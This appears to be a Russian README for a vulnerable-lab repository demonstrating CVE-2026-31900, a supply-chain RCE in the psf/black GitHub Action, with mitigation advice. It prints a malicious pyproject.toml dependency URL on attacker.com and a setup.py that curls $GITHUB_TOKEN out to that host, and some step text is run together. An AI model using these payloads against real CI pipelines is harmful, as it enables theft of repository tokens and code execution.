
CVE-2026-31900 Уязвимая лаборатория - RCE в GitHub Action psf/black
| Поле | Детали |
|---|
| CVE | CVE-2026-31900 |
| CVSS | 8.7 (Высокий) |
| Консультация | GHSA-v53h-f6m7-xcgm |
| Затронуто | psf/black GitHub Action < v26.3.0 |
| Тип | RCE через цепочку поставок (триггер pull_request) |
Опция use_pyproject: true считывает версию Black из pyproject.toml. Регулярное выражение, используемое для проверки строки версии, является излишне разрешающим из-за re.IGNORECASE, что допускает такие символы, как пробел, @, : и / — именно то, что нужно для URL-требования PEP 508.
BLACK_VERSION_RE = re.compile(r"^black(\[^A-Z0-9.\_-\]+.\*)$", re.IGNORECASE)
pyproject.toml в своём форке:[project]
dependencies = [
"black @ https://attacker.com/malicious_black.tar.gz"
]
pull_requestpyproject.toml, обходя проверку регулярным выражениемsetup.py выполняет произвольный кодsetup.pyfrom setuptools import setup
import os
os.system("curl https://attacker.com/exfil?token=$GITHUB_TOKEN")
setup(name="black", version="26.1.0")
$GITHUB_TOKEN (токен CI-раннера)Обновитесь до psf/black v26.3.0 или явно укажите версию в YAML рабочего процесса вместо использования use_pyproject: true.
.github/workflows/black.yml ← Уязвимый рабочий процесс (use_pyproject: true)
pyproject.toml ← Легитимная конфигурация (ветка main)
app.py ← Пример Python-файла для форматирования